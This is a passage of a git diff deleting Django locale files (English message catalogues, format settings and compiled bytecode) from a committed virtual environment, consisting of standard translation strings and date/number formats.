forms/widgets.py:527 -msgid "Clear" -msgstr "" - -#: forms/widgets.py:528 -msgid "Currently" -msgstr "" - -#: forms/widgets.py:529 -msgid "Change" -msgstr "" - -#: forms/widgets.py:866 -msgid "Unknown" -msgstr "" - -#: forms/widgets.py:867 -msgid "Yes" -msgstr "" - -#: forms/widgets.py:868 -msgid "No" -msgstr "" - -#. Translators: Please do not add spaces around commas. -#: template/defaultfilters.py:873 -msgid "yes,no,maybe" -msgstr "" - -#: template/defaultfilters.py:903 template/defaultfilters.py:920 -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "" -msgstr[1] "" - -#: template/defaultfilters.py:922 -#, python-format -msgid "%s KB" -msgstr "" - -#: template/defaultfilters.py:924 -#, python-format -msgid "%s MB" -msgstr "" - -#: template/defaultfilters.py:926 -#, python-format -msgid "%s GB" -msgstr "" - -#: template/defaultfilters.py:928 -#, python-format -msgid "%s TB" -msgstr "" - -#: template/defaultfilters.py:930 -#, python-format -msgid "%s PB" -msgstr "" - -#: utils/dateformat.py:74 -msgid "p.m." -msgstr "" - -#: utils/dateformat.py:75 -msgid "a.m." -msgstr "" - -#: utils/dateformat.py:80 -msgid "PM" -msgstr "" - -#: utils/dateformat.py:81 -msgid "AM" -msgstr "" - -#: utils/dateformat.py:153 -msgid "midnight" -msgstr "" - -#: utils/dateformat.py:155 -msgid "noon" -msgstr "" - -#: utils/dates.py:7 -msgid "Monday" -msgstr "" - -#: utils/dates.py:8 -msgid "Tuesday" -msgstr "" - -#: utils/dates.py:9 -msgid "Wednesday" -msgstr "" - -#: utils/dates.py:10 -msgid "Thursday" -msgstr "" - -#: utils/dates.py:11 -msgid "Friday" -msgstr "" - -#: utils/dates.py:12 -msgid "Saturday" -msgstr "" - -#: utils/dates.py:13 -msgid "Sunday" -msgstr "" - -#: utils/dates.py:16 -msgid "Mon" -msgstr "" - -#: utils/dates.py:17 -msgid "Tue" -msgstr "" - -#: utils/dates.py:18 -msgid "Wed" -msgstr "" - -#: utils/dates.py:19 -msgid "Thu" -msgstr "" - -#: utils/dates.py:20 -msgid "Fri" -msgstr "" - -#: utils/dates.py:21 -msgid "Sat" -msgstr "" - -#: utils/dates.py:22 -msgid "Sun" -msgstr "" - -#: utils/dates.py:25 -msgid "January" -msgstr "" - -#: utils/dates.py:26 -msgid "February" -msgstr "" - -#: utils/dates.py:27 -msgid "March" -msgstr "" - -#: utils/dates.py:28 -msgid "April" -msgstr "" - -#: utils/dates.py:29 -msgid "May" -msgstr "" - -#: utils/dates.py:30 -msgid "June" -msgstr "" - -#: utils/dates.py:31 -msgid "July" -msgstr "" - -#: utils/dates.py:32 -msgid "August" -msgstr "" - -#: utils/dates.py:33 -msgid "September" -msgstr "" - -#: utils/dates.py:34 -msgid "October" -msgstr "" - -#: utils/dates.py:35 -msgid "November" -msgstr "" - -#: utils/dates.py:36 -msgid "December" -msgstr "" - -#: utils/dates.py:39 -msgid "jan" -msgstr "" - -#: utils/dates.py:40 -msgid "feb" -msgstr "" - -#: utils/dates.py:41 -msgid "mar" -msgstr "" - -#: utils/dates.py:42 -msgid "apr" -msgstr "" - -#: utils/dates.py:43 -msgid "may" -msgstr "" - -#: utils/dates.py:44 -msgid "jun" -msgstr "" - -#: utils/dates.py:45 -msgid "jul" -msgstr "" - -#: utils/dates.py:46 -msgid "aug" -msgstr "" - -#: utils/dates.py:47 -msgid "sep" -msgstr "" - -#: utils/dates.py:48 -msgid "oct" -msgstr "" - -#: utils/dates.py:49 -msgid "nov" -msgstr "" - -#: utils/dates.py:50 -msgid "dec" -msgstr "" - -#: utils/dates.py:53 -msgctxt "abbrev. month" -msgid "Jan." -msgstr "" - -#: utils/dates.py:54 -msgctxt "abbrev. month" -msgid "Feb." -msgstr "" - -#: utils/dates.py:55 -msgctxt "abbrev. month" -msgid "March" -msgstr "" - -#: utils/dates.py:56 -msgctxt "abbrev. month" -msgid "April" -msgstr "" - -#: utils/dates.py:57 -msgctxt "abbrev. month" -msgid "May" -msgstr "" - -#: utils/dates.py:58 -msgctxt "abbrev. month" -msgid "June" -msgstr "" - -#: utils/dates.py:59 -msgctxt "abbrev. month" -msgid "July" -msgstr "" - -#: utils/dates.py:60 -msgctxt "abbrev. month" -msgid "Aug." -msgstr "" - -#: utils/dates.py:61 -msgctxt "abbrev. month" -msgid "Sept." -msgstr "" - -#: utils/dates.py:62 -msgctxt "abbrev. month" -msgid "Oct." -msgstr "" - -#: utils/dates.py:63 -msgctxt "abbrev. month" -msgid "Nov." -msgstr "" - -#: utils/dates.py:64 -msgctxt "abbrev. month" -msgid "Dec." -msgstr "" - -#: utils/dates.py:67 -msgctxt "alt. month" -msgid "January" -msgstr "" - -#: utils/dates.py:68 -msgctxt "alt. month" -msgid "February" -msgstr "" - -#: utils/dates.py:69 -msgctxt "alt. month" -msgid "March" -msgstr "" - -#: utils/dates.py:70 -msgctxt "alt. month" -msgid "April" -msgstr "" - -#: utils/dates.py:71 -msgctxt "alt. month" -msgid "May" -msgstr "" - -#: utils/dates.py:72 -msgctxt "alt. month" -msgid "June" -msgstr "" - -#: utils/dates.py:73 -msgctxt "alt. month" -msgid "July" -msgstr "" - -#: utils/dates.py:74 -msgctxt "alt. month" -msgid "August" -msgstr "" - -#: utils/dates.py:75 -msgctxt "alt. month" -msgid "September" -msgstr "" - -#: utils/dates.py:76 -msgctxt "alt. month" -msgid "October" -msgstr "" - -#: utils/dates.py:77 -msgctxt "alt. month" -msgid "November" -msgstr "" - -#: utils/dates.py:78 -msgctxt "alt. month" -msgid "December" -msgstr "" - -#: utils/ipv6.py:20 -msgid "This is not a valid IPv6 address." -msgstr "" - -#: utils/text.py:67 -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -#: utils/text.py:278 -msgid "or" -msgstr "" - -#. Translators: This string is used as a separator between list elements -#: utils/text.py:297 utils/timesince.py:135 -msgid ", " -msgstr "" - -#: utils/timesince.py:8 -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "" -msgstr[1] "" - -#: utils/timesince.py:9 -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "" -msgstr[1] "" - -#: utils/timesince.py:10 -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "" -msgstr[1] "" - -#: utils/timesince.py:11 -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "" -msgstr[1] "" - -#: utils/timesince.py:12 -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "" -msgstr[1] "" - -#: utils/timesince.py:13 -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "" -msgstr[1] "" - -#: views/csrf.py:29 -msgid "Forbidden" -msgstr "" - -#: views/csrf.py:30 -msgid "CSRF verification failed. Request aborted." -msgstr "" - -#: views/csrf.py:34 -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -#: views/csrf.py:40 -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -#: views/csrf.py:45 -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -#: views/csrf.py:54 -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" - -#: views/csrf.py:60 -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -#: views/csrf.py:66 -msgid "More information is available with DEBUG=True." -msgstr "" - -#: views/generic/dates.py:44 -msgid "No year specified" -msgstr "" - -#: views/generic/dates.py:64 views/generic/dates.py:115 -#: views/generic/dates.py:214 -msgid "Date out of range" -msgstr "" - -#: views/generic/dates.py:94 -msgid "No month specified" -msgstr "" - -#: views/generic/dates.py:147 -msgid "No day specified" -msgstr "" - -#: views/generic/dates.py:194 -msgid "No week specified" -msgstr "" - -#: views/generic/dates.py:353 views/generic/dates.py:384 -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "" - -#: views/generic/dates.py:680 -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" - -#: views/generic/dates.py:720 -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#: views/generic/detail.py:56 -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "" - -#: views/generic/list.py:70 -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#: views/generic/list.py:77 -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "" - -#: views/generic/list.py:173 -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -#: views/static.py:49 -msgid "Directory indexes are not allowed here." -msgstr "" - -#: views/static.py:51 -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#: views/static.py:68 views/templates/directory_index.html:8 -#: views/templates/directory_index.html:11 -#, python-format -msgid "Index of %(directory)s" -msgstr "" - -#: views/templates/default_urlconf.html:7 -#: views/templates/default_urlconf.html:204 -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#: views/templates/default_urlconf.html:206 -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -#: views/templates/default_urlconf.html:208 -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" - -#: views/templates/default_urlconf.html:217 -msgid "Django Documentation" -msgstr "" - -#: views/templates/default_urlconf.html:218 -msgid "Topics, references, & how-to’s" -msgstr "" - -#: views/templates/default_urlconf.html:226 -msgid "Tutorial: A Polling App" -msgstr "" - -#: views/templates/default_urlconf.html:227 -msgid "Get started with Django" -msgstr "" - -#: views/templates/default_urlconf.html:235 -msgid "Django Community" -msgstr "" - -#: views/templates/default_urlconf.html:236 -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/en/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/en/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/en/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/en/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index ebdda4f0..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/en/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/en/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/en/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index d6857178..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/en/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/en/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/en/formats.py deleted file mode 100644 index f9d143b7..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/en/formats.py +++ /dev/null @@ -1,65 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date - -# Formatting for date objects. -DATE_FORMAT = "N j, Y" -# Formatting for time objects. -TIME_FORMAT = "P" -# Formatting for datetime objects. -DATETIME_FORMAT = "N j, Y, P" -# Formatting for date objects when only the year and month are relevant. -YEAR_MONTH_FORMAT = "F Y" -# Formatting for date objects when only the month and day are relevant. -MONTH_DAY_FORMAT = "F j" -# Short formatting for date objects. -SHORT_DATE_FORMAT = "m/d/Y" -# Short formatting for datetime objects. -SHORT_DATETIME_FORMAT = "m/d/Y P" -# First day of week, to be used on calendars. -# 0 means Sunday, 1 means Monday... -FIRST_DAY_OF_WEEK = 0 - -# Formats to be used when parsing dates from input boxes, in order. -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# Note that these format strings are different from the ones to display dates. -# Kept ISO formats as they are in first position -DATE_INPUT_FORMATS = [ - "%Y-%m-%d", # '2006-10-25' - "%m/%d/%Y", # '10/25/2006' - "%m/%d/%y", # '10/25/06' - "%b %d %Y", # 'Oct 25 2006' - "%b %d, %Y", # 'Oct 25, 2006' - "%d %b %Y", # '25 Oct 2006' - "%d %b, %Y", # '25 Oct, 2006' - "%B %d %Y", # 'October 25 2006' - "%B %d, %Y", # 'October 25, 2006' - "%d %B %Y", # '25 October 2006' - "%d %B, %Y", # '25 October, 2006' -] -DATETIME_INPUT_FORMATS = [ - "%Y-%m-%d %H:%M:%S", # '2006-10-25 14:30:59' - "%Y-%m-%d %H:%M:%S.%f", # '2006-10-25 14:30:59.000200' - "%Y-%m-%d %H:%M", # '2006-10-25 14:30' - "%m/%d/%Y %H:%M:%S", # '10/25/2006 14:30:59' - "%m/%d/%Y %H:%M:%S.%f", # '10/25/2006 14:30:59.000200' - "%m/%d/%Y %H:%M", # '10/25/2006 14:30' - "%m/%d/%y %H:%M:%S", # '10/25/06 14:30:59' - "%m/%d/%y %H:%M:%S.%f", # '10/25/06 14:30:59.000200' - "%m/%d/%y %H:%M", # '10/25/06 14:30' -] -TIME_INPUT_FORMATS = [ - "%H:%M:%S", # '14:30:59' - "%H:%M:%S.%f", # '14:30:59.000200' - "%H:%M", # '14:30' -] - -# Decimal separator symbol. -DECIMAL_SEPARATOR = "." -# Thousand separator symbol. -THOUSAND_SEPARATOR = "," -# Number of digits that will be together, when splitting them by -# THOUSAND_SEPARATOR. 0 means no grouping, 3 means splitting by thousands. -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/en_AU/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/en_AU/LC_MESSAGES/django.mo deleted file mode 100644 index d31b977a..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/en_AU/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/en_AU/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/en_AU/LC_MESSAGES/django.po deleted file mode 100644 index a0a3ed8c..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/en_AU/LC_MESSAGES/django.po +++ /dev/null @@ -1,1299 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Tom Fifield , 2014 -# Tom Fifield , 2021 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-09-21 10:22+0200\n" -"PO-Revision-Date: 2021-11-18 21:19+0000\n" -"Last-Translator: Transifex Bot <>\n" -"Language-Team: English (Australia) (http://www.transifex.com/django/django/" -"language/en_AU/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: en_AU\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "Afrikaans" - -msgid "Arabic" -msgstr "Arabic" - -msgid "Algerian Arabic" -msgstr "Algerian Arabic" - -msgid "Asturian" -msgstr "Asturian" - -msgid "Azerbaijani" -msgstr "Azerbaijani" - -msgid "Bulgarian" -msgstr "Bulgarian" - -msgid "Belarusian" -msgstr "Belarusian" - -msgid "Bengali" -msgstr "Bengali" - -msgid "Breton" -msgstr "Breton" - -msgid "Bosnian" -msgstr "Bosnian" - -msgid "Catalan" -msgstr "Catalan" - -msgid "Czech" -msgstr "Czech" - -msgid "Welsh" -msgstr "Welsh" - -msgid "Danish" -msgstr "Danish" - -msgid "German" -msgstr "German" - -msgid "Lower Sorbian" -msgstr "Lower Sorbian" - -msgid "Greek" -msgstr "Greek" - -msgid "English" -msgstr "English" - -msgid "Australian English" -msgstr "Australian English" - -msgid "British English" -msgstr "British English" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Spanish" - -msgid "Argentinian Spanish" -msgstr "Argentinian Spanish" - -msgid "Colombian Spanish" -msgstr "Colombian Spanish" - -msgid "Mexican Spanish" -msgstr "Mexican Spanish" - -msgid "Nicaraguan Spanish" -msgstr "Nicaraguan Spanish" - -msgid "Venezuelan Spanish" -msgstr "Venezuelan Spanish" - -msgid "Estonian" -msgstr "Estonian" - -msgid "Basque" -msgstr "Basque" - -msgid "Persian" -msgstr "Persian" - -msgid "Finnish" -msgstr "Finnish" - -msgid "French" -msgstr "French" - -msgid "Frisian" -msgstr "Frisian" - -msgid "Irish" -msgstr "Irish" - -msgid "Scottish Gaelic" -msgstr "Scottish Gaelic" - -msgid "Galician" -msgstr "Galician" - -msgid "Hebrew" -msgstr "Hebrew" - -msgid "Hindi" -msgstr "Hindi" - -msgid "Croatian" -msgstr "Croatian" - -msgid "Upper Sorbian" -msgstr "Upper Sorbian" - -msgid "Hungarian" -msgstr "Hungarian" - -msgid "Armenian" -msgstr "Armenian" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indonesian" - -msgid "Igbo" -msgstr "Igbo" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Icelandic" - -msgid "Italian" -msgstr "Italian" - -msgid "Japanese" -msgstr "Japanese" - -msgid "Georgian" -msgstr "Georgian" - -msgid "Kabyle" -msgstr "Kabyle" - -msgid "Kazakh" -msgstr "Kazakh" - -msgid "Khmer" -msgstr "Khmer" - -msgid "Kannada" -msgstr "Kannada" - -msgid "Korean" -msgstr "Korean" - -msgid "Kyrgyz" -msgstr "Kyrgyz" - -msgid "Luxembourgish" -msgstr "Luxembourgish" - -msgid "Lithuanian" -msgstr "Lithuanian" - -msgid "Latvian" -msgstr "Latvian" - -msgid "Macedonian" -msgstr "Macedonian" - -msgid "Malayalam" -msgstr "Malayalam" - -msgid "Mongolian" -msgstr "Mongolian" - -msgid "Marathi" -msgstr "Marathi" - -msgid "Malay" -msgstr "" - -msgid "Burmese" -msgstr "Burmese" - -msgid "Norwegian Bokmål" -msgstr "Norwegian Bokmål" - -msgid "Nepali" -msgstr "Nepali" - -msgid "Dutch" -msgstr "Dutch" - -msgid "Norwegian Nynorsk" -msgstr "Norwegian Nynorsk" - -msgid "Ossetic" -msgstr "Ossetic" - -msgid "Punjabi" -msgstr "Punjabi" - -msgid "Polish" -msgstr "Polish" - -msgid "Portuguese" -msgstr "Portuguese" - -msgid "Brazilian Portuguese" -msgstr "Brazilian Portuguese" - -msgid "Romanian" -msgstr "Romanian" - -msgid "Russian" -msgstr "Russian" - -msgid "Slovak" -msgstr "Slovak" - -msgid "Slovenian" -msgstr "Slovenian" - -msgid "Albanian" -msgstr "Albanian" - -msgid "Serbian" -msgstr "Serbian" - -msgid "Serbian Latin" -msgstr "Serbian Latin" - -msgid "Swedish" -msgstr "Swedish" - -msgid "Swahili" -msgstr "Swahili" - -msgid "Tamil" -msgstr "Tamil" - -msgid "Telugu" -msgstr "Telugu" - -msgid "Tajik" -msgstr "Tajik" - -msgid "Thai" -msgstr "Thai" - -msgid "Turkmen" -msgstr "Turkmen" - -msgid "Turkish" -msgstr "Turkish" - -msgid "Tatar" -msgstr "Tatar" - -msgid "Udmurt" -msgstr "Udmurt" - -msgid "Ukrainian" -msgstr "Ukrainian" - -msgid "Urdu" -msgstr "Urdu" - -msgid "Uzbek" -msgstr "Uzbek" - -msgid "Vietnamese" -msgstr "Vietnamese" - -msgid "Simplified Chinese" -msgstr "Simplified Chinese" - -msgid "Traditional Chinese" -msgstr "Traditional Chinese" - -msgid "Messages" -msgstr "Messages" - -msgid "Site Maps" -msgstr "Site Maps" - -msgid "Static Files" -msgstr "Static Files" - -msgid "Syndication" -msgstr "Syndication" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "That page number is not an integer" - -msgid "That page number is less than 1" -msgstr "That page number is less than 1" - -msgid "That page contains no results" -msgstr "That page contains no results" - -msgid "Enter a valid value." -msgstr "Enter a valid value." - -msgid "Enter a valid URL." -msgstr "Enter a valid URL." - -msgid "Enter a valid integer." -msgstr "Enter a valid integer." - -msgid "Enter a valid email address." -msgstr "Enter a valid email address." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." - -msgid "Enter a valid IPv4 address." -msgstr "Enter a valid IPv4 address." - -msgid "Enter a valid IPv6 address." -msgstr "Enter a valid IPv6 address." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Enter a valid IPv4 or IPv6 address." - -msgid "Enter only digits separated by commas." -msgstr "Enter only digits separated by commas." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Ensure this value is %(limit_value)s (it is %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Ensure this value is less than or equal to %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Ensure this value is greater than or equal to %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgstr[1] "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgstr[1] "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." - -msgid "Enter a number." -msgstr "Enter a number." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Ensure that there are no more than %(max)s digit in total." -msgstr[1] "Ensure that there are no more than %(max)s digits in total." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Ensure that there are no more than %(max)s decimal place." -msgstr[1] "Ensure that there are no more than %(max)s decimal places." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgstr[1] "" -"Ensure that there are no more than %(max)s digits before the decimal point." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Null characters are not allowed." - -msgid "and" -msgstr "and" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s with this %(field_labels)s already exists." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Value %(value)r is not a valid choice." - -msgid "This field cannot be null." -msgstr "This field cannot be null." - -msgid "This field cannot be blank." -msgstr "This field cannot be blank." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s with this %(field_label)s already exists." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Field of type: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "“%(value)s” value must be either True or False." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "“%(value)s” value must be either True, False, or None." - -msgid "Boolean (Either True or False)" -msgstr "Boolean (Either True or False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "String (up to %(max_length)s)" - -msgid "Comma-separated integers" -msgstr "Comma-separated integers" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." - -msgid "Date (without time)" -msgstr "Date (without time)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." - -msgid "Date (with time)" -msgstr "Date (with time)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "“%(value)s” value must be a decimal number." - -msgid "Decimal number" -msgstr "Decimal number" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." - -msgid "Duration" -msgstr "Duration" - -msgid "Email address" -msgstr "Email address" - -msgid "File path" -msgstr "File path" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "“%(value)s” value must be a float." - -msgid "Floating point number" -msgstr "Floating point number" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "“%(value)s” value must be an integer." - -msgid "Integer" -msgstr "Integer" - -msgid "Big (8 byte) integer" -msgstr "Big (8 byte) integer" - -msgid "Small integer" -msgstr "Small integer" - -msgid "IPv4 address" -msgstr "IPv4 address" - -msgid "IP address" -msgstr "IP address" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "“%(value)s” value must be either None, True or False." - -msgid "Boolean (Either True, False or None)" -msgstr "Boolean (Either True, False or None)" - -msgid "Positive big integer" -msgstr "Positive big integer" - -msgid "Positive integer" -msgstr "Positive integer" - -msgid "Positive small integer" -msgstr "Positive small integer" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (up to %(max_length)s)" - -msgid "Text" -msgstr "Text" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." - -msgid "Time" -msgstr "Time" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Raw binary data" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "“%(value)s” is not a valid UUID." - -msgid "Universally unique identifier" -msgstr "Universally unique identifier" - -msgid "File" -msgstr "File" - -msgid "Image" -msgstr "Image" - -msgid "A JSON object" -msgstr "A JSON object" - -msgid "Value must be valid JSON." -msgstr "Value must be valid JSON." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "%(model)s instance with %(field)s %(value)r does not exist." - -msgid "Foreign Key (type determined by related field)" -msgstr "Foreign Key (type determined by related field)" - -msgid "One-to-one relationship" -msgstr "One-to-one relationship" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s relationship" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s relationships" - -msgid "Many-to-many relationship" -msgstr "Many-to-many relationship" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "This field is required." - -msgid "Enter a whole number." -msgstr "Enter a whole number." - -msgid "Enter a valid date." -msgstr "Enter a valid date." - -msgid "Enter a valid time." -msgstr "Enter a valid time." - -msgid "Enter a valid date/time." -msgstr "Enter a valid date/time." - -msgid "Enter a valid duration." -msgstr "Enter a valid duration." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "The number of days must be between {min_days} and {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "No file was submitted. Check the encoding type on the form." - -msgid "No file was submitted." -msgstr "No file was submitted." - -msgid "The submitted file is empty." -msgstr "The submitted file is empty." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" 